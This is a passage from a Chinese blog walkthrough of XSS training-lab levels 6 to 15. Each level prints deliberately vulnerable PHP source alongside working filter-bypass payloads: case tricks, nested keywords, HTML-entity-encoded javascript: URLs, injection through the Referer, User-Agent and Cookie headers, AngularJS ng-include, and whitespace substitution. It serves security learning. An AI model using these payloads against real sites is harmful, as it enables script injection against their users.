$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

比第5关加入了很多的过滤规则,而且过滤了href属性,这样就无法使用javascript:alert()这种形势来弹窗了,但是仔细观察源码,这里少了第5关的strtolower()函数,所以这里可以通过大小写转换来绕过过滤。

payload1

" Onclick=alert('XSS') //

payload2

"><a Href=javascript:alert('XSS') //

第7关 嵌套构造

源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

在第6关的基础上,首先还统一使用了strtolower()函数,将keyword变量的值转换了小写,这样就无法直接使用大小写转换的思路来绕过了。但是这里的过滤比较巧妙,是直接将敏感字符替换为空(即删掉了),这种机制我们可以尝试使用嵌套构造payload来绕过。

payload

" oonnclick=alert('XSS') //

第8关 HTML编码

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

这里的过滤规则很完善,基本上都过滤掉了可能触发弹窗的一些字符串。同时有2个输出,一个输出在了标签中,并且通过`htmlspecialchars($str)`函数实体化后输出来,这里基本上是凉凉了。看第2个输出,是在标签中,而且没有过滤,直接输出在了双引号"之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过,有因为直接输出在了href的属性里面,所以可以尝试javascript()这种形式来触发弹窗。

j将t编码为t

payload1

javascrip&#x74;:alert('XSS') //

也可以将Tab键编码为插入到关键词中绕过过滤;同理也可以将回车键编码为插入来Bypass

payload2

javascrip&#x09;t:alert('XSS') //
javascrip&#x0a;t:alert('XSS') //

第9关 阅读源码

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

这里只是比第8关多了到对提交的keyword里面是否有http://的检测,所以Bypass的话就很简单,直接在第8关的payload后面添加:http://

payload

javascrip&#x74;:alert('XSS') //http://

第10关 覆盖元素属性

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看出这里keyword变量依然没戏,被HTML实体化输出了出来,所以重点放在t_sort变量上,只过滤了尖括号,然后就直接输出到了标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的标签使用了type="hidden"将输入框隐藏了起来,可以手动赋值type的值来覆盖掉先前的属性来达到显示文本框的目的。

payload

level10.php?keyword=233&t_sort=" type="" onclick=alert('XSS') //

第11关 HTTP Referer

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

看变量的输出基本上可以判定$str$str00变量没戏,也就是我们可以控制的keywordt_sort变量是无法突破限制来弹窗的。观察$str33是通过$str11=$_SERVER['HTTP_REFERER'];过滤了尖括号然后赋值的,那么尝试在HTTP请求头的Referer构造payload。

使用hackbar或者BurpSuite可以很方便地改写HTTP请求头地Referer字段:

payload

Referer: " type="" onclick=alert('XSS') //

第12关 HTTP User-Agent

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这一题和上一题类似,只是这里的漏洞点出现在了HTTP请求头的User-Agent

使用hackbar或者BurpSuite可以很方便地改写HTTP请求头地User-Agent字段:

payload

User-Agent: " type="" onclick=alert('XSS') //

源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里的漏洞点出现在了HTTP请求头的Cookieuser属性中。

使用hackbar或者BurpSuite可以很方便地改写HTTP请求头地Cookie字段:

payload

Cookie: user=" type="" onclick=alert('XSS') //

第14关 Angular JS

源码

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这题考察Angular JSng-include用法,具体可以参考这篇资料:AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。

payload

level14.php?src="level1.php?name=<img src=x onerror=alert('XSS')>"

第15关 过滤空格

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

这里过滤掉了script标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。

可以使用如下符号替代空格

符号 URL编码
回车(CR) %0d
换行(LF) %0a
???求补充 %0c

payload

level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>

XSS实战

这方面待完善 XSS实战非常灵活


文章作者: 国光
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 国光 !
 上一篇
PHP代码审计初次尝试之新秀企业网站系统 PHP代码审计初次尝试之新秀企业网站系统
国光的初次代码审计尝试,先找个小点的CMS练练手入门一下,顺便记录一下水一篇文章,233333 嗝 系统介绍CMS名称:新秀企业网站系统PHP版 官网:www.sinsiu.com 版本:这里国光用的1.0 正式版 (官网最新的版本有毒
2020-01-21
下一篇 
阿里云虚拟主机搭建多个网站 阿里云虚拟主机搭建多个网站
网站搭建有3年多了,一直没有备案,最近备案成功,网站可以愉快地搭建在国内了,由于经费有限只能用得起阿里云虚拟主机,本文主要记录阿里云虚拟主机的基本建站操作。 域名绑定因为阿里云虚拟主机支持一个主机绑定多个域名,绑定后域名需解析生效,备案
2019-12-25
  目录